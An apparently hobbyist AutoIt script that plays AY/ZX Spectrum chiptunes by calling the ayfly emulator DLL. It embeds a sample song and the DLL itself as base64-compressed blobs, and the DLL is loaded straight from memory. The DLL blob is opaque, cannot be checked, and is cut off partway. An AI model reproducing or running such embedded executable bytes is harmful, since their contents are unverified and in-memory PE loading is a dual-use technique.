#Region ;************ Includes ************ #Include ;~ #include #EndRegion ;************ Includes ************ ; memory constants. Global Const $tagIMAGE_DOS_HEADER = 'WORD e_magic;WORD e_cblp;WORD e_cp;WORD e_crlc;WORD e_cparhdr;WORD e_minalloc;WORD e_maxalloc;WORD e_ss;WORD e_sp;WORD e_csum;WORD e_ip;WORD e_cs;WORD e_lfarlc;WORD e_ovno;WORD e_res[4];WORD e_oemid;WORD e_oeminfo;WORD e_res2[10];LONG e_lfanew;' Global Const $tagIMAGE_FILE_HEADER = 'WORD Machine;WORD NumberOfSections;DWORD TimeDateStamp;DWORD PointerToSymbolTable;DWORD NumberOfSymbols;WORD SizeOfOptionalHeader;WORD Characteristics;' Global $tagIMAGE_OPTIONAL_HEADER = 'WORD Magic;BYTE MajorLinkerVersion;BYTE MinorLinkerVersion;DWORD SizeOfCode;DWORD SizeOfInitializedData;DWORD SizeOfUninitializedData;DWORD AddressOfEntryPoint;DWORD BaseOfCode;DWORD BaseOfData;PTR ImageBase;DWORD SectionAlignment;DWORD FileAlignment;WORD MajorOperatingSystemVersion;WORD MinorOperatingSystemVersion;WORD MajorImageVersion;WORD MinorImageVersion;WORD MajorSubsystemVersion;WORD MinorSubsystemVersion;DWORD Win32VersionValue;DWORD SizeOfImage;DWORD SizeOfHeaders;DWORD CheckSum;WORD Subsystem;WORD DllCharacteristics;PTR SizeOfStackReserve;PTR SizeOfStackCommit;PTR SizeOfHeapReserve;PTR SizeOfHeapCommit;DWORD LoaderFlags;DWORD NumberOfRvaAndSizes;' Global Const $tagIMAGE_NT_HEADER = 'DWORD Signature;' & $tagIMAGE_FILE_HEADER & $tagIMAGE_OPTIONAL_HEADER Global Const $tagIMAGE_SECTION_HEADER = 'CHAR Name[8];DWORD VirtualSize;DWORD VirtualAddress;DWORD SizeOfRawData;DWORD PointerToRawData;DWORD PointerToRelocations;DWORD PointerToLinenumbers;WORD NumberOfRelocations;WORD NumberOfLinenumbers;DWORD Characteristics;' Global Const $tagIMAGE_DATA_DIRECTORY = 'DWORD VirtualAddress;DWORD Size;' Global Const $tagIMAGE_BASE_RELOCATION = 'DWORD VirtualAddress;DWORD SizeOfBlock;' Global Const $tagIMAGE_IMPORT_DESCRIPTOR = 'DWORD OriginalFirstThunk;DWORD TimeDateStamp;DWORD ForwarderChain;DWORD Name;DWORD FirstThunk;' Global Const $tagIMAGE_IMPORT_BY_NAME = 'WORD Hint;char Name[1];' Global Const $tagIMAGE_EXPORT_DIRECTORY = 'DWORD Characteristics;DWORD TimeDateStamp;WORD MajorVersion;WORD MinorVersion;DWORD Name;DWORD Base;DWORD NumberOfFunctions;DWORD NumberOfNames;DWORD AddressOfFunctions;DWORD AddressOfNames;DWORD AddressOfNameOrdinals;' Global $_KERNEL32DLL = DllOpen ( 'kernel32.dll' ) Global $_MFHookPtr, $_MFHookBak, $_MFHookApi = 'LocalCompact' Global Const $tagModule = 'PTR ExportList;PTR CodeBase;PTR ImportList;PTR DllEntry;DWORD Initialized;' Global $_BinaryCall_Msvcrtdll = DllOpen ( 'msvcrt.dll' ) #cs ---------------------------------------------------------------------------- ; Ayfly is a AY-891x emulator and player. Support tracker formats for : aqt, asc, ay, fxm, gtr, psc, psg, pt1, pt2, pt3, sqt, stc, stp, vtx, ym and zxs files. ; http://ayfly.googlecode.com/svn-history/r421/trunk/src/libayfly/ayfly.h https://code.google.com/p/ayfly/downloads/list https://code.google.com/p/ayfly/source/browse/trunk/doc/API.README?spec=svn279&r=279 ; Exported Function for ayfly.dll : ay_chnlmute ay_chnlmuted ay_closesong ay_format_supported ay_getayfreq ay_getchiptype ay_getelapsedtime ay_getintfreq ay_getoversample ay_getregs ay_getsamplerate ay_getsongauthor ay_getsonginfo ay_getsonginfoindirect ay_getsonglength ay_getsongloop ay_getsongname ay_getsongpath ay_getsongplayer ay_getvolume ay_getz80freq ay_initemptysong ay_initsong ay_initsongindirect ay_ists ay_readay ay_rendersongbuffer ay_resetay ay_resetsong ay_seeksong ay_setayfreq ay_setaywritecallback ay_setchiptype ay_setelapsedcallback ay_sethwnd ay_setintfreq ay_setoversample ay_setsamplerate ay_setsongplayer ay_setstoppedcallback ay_setvolume ay_setz80freq ay_softexec ay_songstarted ay_startsong ay_stopsong ay_writeay ay_z80exec z80ex_create z80ex_destroy z80ex_doing_halt z80ex_get_reg z80ex_int z80ex_int_possible z80ex_last_op_type z80ex_next_t_state z80ex_nmi z80ex_nmi_possible z80ex_op_tstate z80ex_reset z80ex_set_reg z80ex_set_tstate_callback z80ex_step z80ex_w_states #ce ---------------------------------------------------------------------------- Global $hAyflyDLL, $hInitSong, $hSongInfo, $iSamplingRate, $sFile HotKeySet ( '{ESC}', '_Exit' ) #Region ------ Init ------------------------------ _Ay_Startup() Anewmusicstp ( 'A New Music.stp', @TempDir ) $sFile = @TempDir & '\A New Music.stp' ; change for your files. $hSongInfo = _Ay_GetSongInfo ( $sFile ) If Not @error Then ; infos ConsoleWrite ( '! $hSongInfo : ' & $hSongInfo & @Crlf ) $iSongLength = _Ay_GetSongLength ( $hSongInfo ) ConsoleWrite ( '+ $iSongLength : ' & $iSongLength & @Crlf ) $iSamplingRate = _Ay_GetSampleRate ( $hSongInfo ) ConsoleWrite ( '+ $iSamplingRate : ' & $iSamplingRate & @Crlf ) ; init song $hInitSong = _Ay_InitSong ( $sFile, $iSamplingRate ) If Not @error Then ConsoleWrite ( '! $hInitSong : ' & $hInitSong & @Crlf ) ; start play _Ay_StartSong ( $hInitSong ) EndIf EndIf #EndRegion --- Init ------------------------------ #Region ------ Main Loop ------------------------------ While 1 Sleep ( 1000 ) WEnd #EndRegion --- Main Loop ------------------------------ Func _Ay_ChannelMute ( $hInitSong, $iChannel, $bMute=True ) If Not $hInitSong Then Return SetError ( -1, 0, -1 ) ;~ Disables (if mute = true) or comprises (if mute = false) channel numbered chnl (0 to 2) a chip AY chip_num number (from 0 to 255). ;~ void ay_chnlmute(void *info, unsigned long chnl, bool mute, unsigned char chip_num = 0) Local $aRet = MemoryDllCall ( $hAyflyDLL, 'none:cdecl', 'ay_chnlmute', 'ptr', $hInitSong, 'ulong', $iChannel, 'bool', Not $bMute, 'byte', 0 ) ; false for mute, true for not mute!!! If @error Then Return SetError ( @error, 0, -1 ) EndFunc ;==> _Ay_ChannelMute() Func _Ay_ChannelMuted ( $hInitSong, $iChannel ) If Not $hInitSong Then Return SetError ( -1, 0, -1 ) ;~ Returns true, if the channel numbered chnl (0 to 2) a chip AY chip_num number (from 0 to 255) is turned off. ;~ bool ay_chnlmuted(void *info, unsigned long chnl, unsigned char chip_num = 0) Local $aRet = MemoryDllCall ( $hAyflyDLL, 'bool:cdecl', 'ay_chnlmuted', 'ptr', $hInitSong, 'ulong', $iChannel, 'byte', 0 ) If @error Then Return SetError ( @error, 0, -1 ) Return $aRet[0] <> 0 EndFunc ;==> _Ay_ChannelMuted() Func _Ay_CloseSong ( ByRef $hInitSong ) If Not $hInitSong Then Return SetError ( -1, 0, -1 ) ;~ Stops playback module (if it is currently active) releases all resources associated with the module * info, and assigns, * info 0. ;~ void ay_closesong(void **info) Local $aRet = MemoryDllCall ( $hAyflyDLL, 'int:cdecl', 'ay_closesong', 'ptr*', $hInitSong ) If @error Then Return SetError ( @error, 0, -1 ) $hInitSong = 0 Return $aRet[0] <> 0 EndFunc ;==> _Ay_CloseSong() Func _Ay_GetSampleRate ( $hSongInfo ) If Not $hSongInfo Then Return SetError ( -1, 0, -1 ) ;~ unsigned long ay_getsamplerate(void *info) Local $aRet = MemoryDllCall ( $hAyflyDLL, 'ulong:cdecl', 'ay_getsamplerate', 'ptr', $hSongInfo ) If @error Then Return SetError ( @error, 0, -1 ) Return $aRet[0] EndFunc ;==> _Ay_GetSampleRate() Func _Ay_GetSongAuthor ( $hSongInfo ) If Not $hSongInfo Then Return SetError ( -1, 0, -1 ) ;~ typedef const AY_CHAR * (*ay_getsongauthor)(void *info) Local $aRet = MemoryDllCall ( $hAyflyDLL, 'wstr:cdecl', 'ay_getsongauthor', 'ptr', $hSongInfo ) If @error Then Return SetError ( @error, 0, -1 ) Return $aRet[0] EndFunc ;==> _Ay_GetSongAuthor() Func _Ay_GetSongInfo ( $sFile ) If Not FileExists ( $sFile ) Then Return SetError ( -1, 0, 0 ) ;~ void *ay_getsonginfo(const wchar_t *FilePath) Local $aRet = MemoryDllCall ( $hAyflyDLL, 'ptr:cdecl', 'ay_getsonginfo', 'wstr', $sFile ) If @error Then Return SetError ( @error, 0, -1 ) Return $aRet[0] EndFunc ;==> _Ay_GetSongInfo() Func _Ay_GetSongLength ( $hSongInfo ) If Not $hSongInfo Then Return SetError ( -1, 0, -1 ) ;~ unsigned long ay_getsonglength(void *info) Local $aRet = MemoryDllCall ( $hAyflyDLL, 'ulong:cdecl', 'ay_getsonglength', 'ptr', $hSongInfo ) If @error Then Return SetError ( @error, 0, -1 ) Return $aRet[0] EndFunc ;==> _Ay_GetSongLength() Func _Ay_GetSongLoop ( $hInitSong ) If Not $hInitSong Then Return SetError ( -1, 0, -1 ) ;~ These functions return the length of the module, respectively, the current position when playing and the position loop module. ;~ All values have an accuracy of 1/50 of a second, and it is measured in the number of interrupts z80. ;~ unsigned long ay_getsongloop(void *info) Local $aRet = MemoryDllCall ( $hAyflyDLL, 'ulong:cdecl', 'ay_getsongloop', 'ptr', $hInitSong ) If @error Then Return SetError ( @error, 0, -1 ) Return $aRet[0] EndFunc ;==> _Ay_GetSongLoop() Func _Ay_GetSongName ( $hSongInfo ) If Not $hSongInfo Then Return SetError ( -1, 0, -1 ) ;~ const AY_CHAR *ay_getsongname(void *info) Local $aRet = MemoryDllCall ( $hAyflyDLL, 'wstr:cdecl', 'ay_getsongname', 'ptr', $hSongInfo ) If @error Then Return SetError ( @error, 0, -1 ) Return $aRet[0] EndFunc ;==> _Ay_GetSongName() Func _Ay_GetSongPlayer ( $hSongInfo ) If Not $hSongInfo Then Return SetError ( -1, 0, -1 ) ;~ Returns a reference to the player for tunes. ;~ typedef void * (*ay_getsongplayer)(void *info) Local $aRet = MemoryDllCall ( $hAyflyDLL, 'ptr:cdecl', 'ay_getsongplayer', 'ptr', $hSongInfo ) If @error Then Return SetError ( @error, 0, -1 ) Return $aRet[0] EndFunc ;==> _Ay_GetSongPlayer() Func _Ay_GetVolume ( $hInitSong, $iChannel ) If Not $hInitSong Then Return SetError ( -1, 0, -1 ) ;~ Sets the volume of the channel in a chnl (0 to 2), with the number of chip AY chip_num (0 to 255) to the value of a variable volume, ranging from 0 to 1. ;~ float ay_getvolume(void *info, unsigned long chnl, unsigned char chip_num = 0) ; r279 Local $aRet = MemoryDllCall ( $hAyflyDLL, 'float:cdecl', 'ay_getvolume', 'ptr', $hInitSong, 'ulong', $iChannel, 'byte', 0 ) If @error Then Return SetError ( @error, 0, -1 ) Return Round ( $aRet[0], 1 ) EndFunc ;==> _Ay_GetVolume() Func _Ay_InitSong ( $sFile, $iSamplingRate=44100 ) If Not FileExists ( $sFile ) Then Return SetError ( -1, 0, 0 ) If Not $iSamplingRate Then Return SetError ( -2, 0, 0 ) ;~ This function loads the module, the way in which the variable is defined FilePath determines sampling rate equal to the value of the variable sr. If the variable player = 0, then an additional audio output driver is initialized for this module. Otherwise the player reported to indicate the implementation of a class that inherits from AbstractAudio. ;~ Return value - a pointer to a structure aysonginfo, which is then used for all management functions, or 0 if the module is initialized may not be for any reason. ;~ void *ay_initsong(const AY_CHAR *FilePath, unsigned long sr, AbstractAudio *player = 0) Local $aRet = MemoryDllCall ( $hAyflyDLL, 'ptr:cdecl', 'ay_initsong', 'wstr', $sFile, 'ulong', $iSamplingRate, 'ptr', 0 ) If @error Then Return SetError ( @error, 0, -1 ) _Ay_SetHwnd ( $aRet[0] ) Return $aRet[0] EndFunc ;==> _Ay_InitSong() Func _Ay_SetHwnd ( $hInitSong ) If Not $hInitSong Then Return SetError ( -1, 0, -1 ) ;~ window handle must be set BEFORE playback start ;~ ay_sethwnd(songinfo, hWnd) Local $aRet = MemoryDllCall ( $hAyflyDLL, 'ptr:cdecl', 'ay_sethwnd', 'ptr', $hInitSong, 'hwnd', WinGetHandle ( AutoItWinGetTitle() ) ) ; $hInitSong ) ;, 'int', 0 ) If @error Then Return SetError ( @error, 0, -1 ) Return $aRet[0] <> 0 EndFunc ;==> _Ay_SetHwnd() Func _Ay_SetSongPlayer ( $hSongInfo, $pPlayer ) If Not $hSongInfo Then Return SetError ( -1, 0, -1 ) ;~ Sets the player for a song. prayer should be the implementation of the class, which is the base for the class AbstractAudio. ;~ void ay_setsongplayer(void *info, void * /* class AbstractAudio */ player) Local $aRet = MemoryDllCall ( $hAyflyDLL, 'none:cdecl', 'ay_setsongplayer', 'ptr', $hSongInfo, 'ptr', $pPlayer ) If @error Then Return SetError ( @error, 0, -1 ) EndFunc ;==> _Ay_SetSongPlayer() Func _Ay_SetVolume ( $hInitSong, $iChannel, $iVolume=1.0 ) If Not $hInitSong Then Return SetError ( -1, 0, -1 ) ;~ Sets the volume of the channel in a chnl (0 to 2), with the number of chip AY chip_num (0 to 255) to the value of a variable volume, ranging from 0 to 1. ;~ void ay_setvolume(void *info, unsigned long chnl, float volume, unsigned char chip_num = 0) ; r279 Local $aRet = MemoryDllCall ( $hAyflyDLL, 'none:cdecl', 'ay_setvolume', 'ptr', $hInitSong, 'ulong', $iChannel, 'float', $iVolume, 'byte', 0 ) If @error Then Return SetError ( @error, 0, -1 ) EndFunc ;==> _Ay_SetVolume() Func _Ay_Shutdown() If $hInitSong Then If _Ay_SongStarted ( $hInitSong ) Then _Ay_StopSong ( $hInitSong ) _Ay_CloseSong ( $hInitSong ) EndIf MemoryDllClose ( $hAyflyDLL ) $hAyflyDLL = 0 EndFunc ;==> _Ay_Shutdown() Func _Ay_SongStarted ( $hInitSong ) If Not $hInitSong Then Return SetError ( -1, 0, -1 ) ;~ Returns true, if the unit is in playback mode. ;~ bool ay_songstarted(void *info) Local $aRet = MemoryDllCall ( $hAyflyDLL, 'bool:cdecl', 'ay_songstarted', 'ptr', $hInitSong ) If @error Then Return SetError ( @error, 0, -1 ) Return $aRet[0] <> 0 EndFunc ;==> _Ay_SongStarted() Func _Ay_StartSong ( $hInitSong ) If Not $hInitSong Then Return SetError ( -1, 0, -1 ) ;~ Starts playback of the specified module. ;~ void ay_startsong(void *info) Local $aRet = MemoryDllCall ( $hAyflyDLL, 'ptr:cdecl', 'ay_startsong', 'ptr', $hInitSong ) If @error Then Return SetError ( @error, 0, -1 ) Return $aRet[0] <> 0 EndFunc ;==> _Ay_StartSong() Func _Ay_Startup() $hAyflyDLL = MemoryDllOpen ( AyflyDll() ) If $hAyflyDLL = -1 Then Exit MsgBox ( 262144+16, 'Error', 'ayfly.dll can not be open !', 5 ) EndFunc ;==> _Ay_Startup() Func _Ay_StopSong ( $hInitSong ) If Not $hInitSong Then Return SetError ( -1, 0, -1 ) ;~ void ay_closesong(void **info) Local $aRet = MemoryDllCall ( $hAyflyDLL, 'ptr:cdecl', 'ay_stopsong', 'ptr', $hInitSong ) If @error Then Return SetError ( @error, 0, -1 ) Return $aRet[0] <> 0 EndFunc ;==> _Ay_StopSong() Func _Exit() _Ay_Shutdown() FileDelete ( $sFile ) Exit EndFunc ;==> _Exit() Func _LzntDecompress ( $bBinary ); by trancexx $bBinary = Binary ( $bBinary ) Local $tInput = DllStructCreate ( 'byte[' & BinaryLen ( $bBinary ) & ']' ) DllStructSetData ( $tInput, 1, $bBinary ) Local $tBuffer = DllStructCreate ( 'byte[' & 16*DllStructGetSize ( $tInput ) & ']' ) Local $a_Call = DllCall ( 'ntdll.dll', 'int', 'RtlDecompressBuffer', 'ushort', 2, 'ptr', DllStructGetPtr ( $tBuffer ), 'dword', DllStructGetSize ( $tBuffer ), 'ptr', DllStructGetPtr ( $tInput ), 'dword', DllStructGetSize ( $tInput ), 'dword*', 0 ) If @error Or $a_Call[0] Then Return SetError ( 1, 0, '' ) Local $tOutput = DllStructCreate ( 'byte[' & $a_Call[6] & ']', DllStructGetPtr ( $tBuffer ) ) Return SetError ( 0, 0, DllStructGetData ( $tOutput, 1 ) ) EndFunc ;==> _LzntDecompress() Func API_FreeLibrary ( $Module ) Local $Ret = DllCall ( $_KERNEL32DLL, 'bool', 'FreeLibrary', 'handle', $Module ) If @Error Then Return SetError ( @Error, @Extended, 0 ) Return $Ret[0] EndFunc ;==> API_FreeLibrary() Func API_GetProcAddress ( $Module, $Procname ) Local $Ret If IsNumber ( $Procname ) Then $Ret = DllCall ( $_KERNEL32DLL, 'ptr', 'GetProcAddress', 'handle', $Module, 'int', $Procname ) Else $Ret = DllCall ( $_KERNEL32DLL, 'ptr', 'GetProcAddress', 'handle', $Module, 'str', $Procname ) EndIf If @Error Then Return SetError ( @Error, @Extended, 0 ) Return $Ret[0] EndFunc ;==> API_GetProcAddress() Func API_IsBadReadPtr ( $Ptr, $Len ) Local $Ret = DllCall ( $_KERNEL32DLL, 'int', 'IsBadReadPtr', 'ptr', $Ptr, 'UINT_PTR', $Len ) If @Error Then Return SetError ( @Error, @Extended, 0 ) Return $Ret[0] EndFunc ;==> API_IsBadReadPtr() Func API_LoadLibrary ( $Filename ) Local $Ret = DllCall ( $_KERNEL32DLL, 'handle', 'LoadLibraryW', 'wstr', $Filename ) If @Error Then Return SetError ( @Error, @Extended, 0 ) Return $Ret[0] EndFunc ;==> API_LoadLibrary() Func API_lstrlenA ( $Address ) Local $Ret = DllCall ( $_KERNEL32DLL, 'int', 'lstrlenA', 'ptr', $Address ) If @Error Then Return SetError ( @Error, @Extended, 0 ) Return $Ret[0] EndFunc ;==> API_lstrlenA() Func API_lstrlenW ( $Address ) Local $Ret = DllCall ( $_KERNEL32DLL, 'int', 'lstrlenW', 'ptr', $Address ) If @Error Then Return SetError ( @Error, @Extended, 0 ) Return $Ret[0] EndFunc ;==> API_lstrlenW() Func API_VirtualProtect ( $Address, $Size, $Protection ) Local $Ret = DllCall ( $_KERNEL32DLL, 'bool', 'VirtualProtect', 'ptr', $Address, 'dword_ptr', $Size, 'dword', $Protection, 'dword*', 0 ) If @Error Then Return SetError ( @Error, @Extended, 0 ) Return $Ret[0] EndFunc ;==> API_VirtualProtect() Func API_ZeroMemory ( $Address, $Size ) Local $Ret = DllCall ( $_KERNEL32DLL, 'none', 'RtlZeroMemory', 'ptr', $Address, 'dword_ptr', $Size ) If @Error Then Return SetError ( @Error, @Extended, 0 ) Return $Ret[0] EndFunc ;==> API_ZeroMemory() Func Anewmusicstp ( $sFileName, $sOutputDirPath, $iOverWrite=0 ) ; Code Generated by BinaryToAu3Kompressor. Local $sFileBin = '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' $sFileBin = Binary ( BinaryCall_Base64Decode ( $sFileBin ) ) $sFileBin = Binary ( _LzntDecompress ( $sFileBin ) ) If Not FileExists ( $sOutputDirPath ) Then DirCreate ( $sOutputDirPath ) If StringRight ( $sOutputDirPath, 1 ) <> '\' Then $sOutputDirPath &= '\' Local $sFilePath = $sOutputDirPath & $sFileName If FileExists ( $sFilePath ) Then If $iOverWrite = 1 Then If Not Filedelete ( $sFilePath ) Then Return SetError ( 2, 0, $sFileBin ) Else Return SetError ( 0, 0, $sFileBin ) EndIf EndIf Local $hFile = FileOpen ( $sFilePath, 16+2 ) If $hFile = -1 Then Return SetError ( 3, 0, $sFileBin ) FileWrite ( $hFile, $sFileBin ) FileClose ( $hFile ) Return SetError ( 0, 0, $sFileBin ) EndFunc ;==> Anewmusicstp() Func AyflyDll() ; Code Generated by BinaryToAu3Kompressor. Local $sFileBin = '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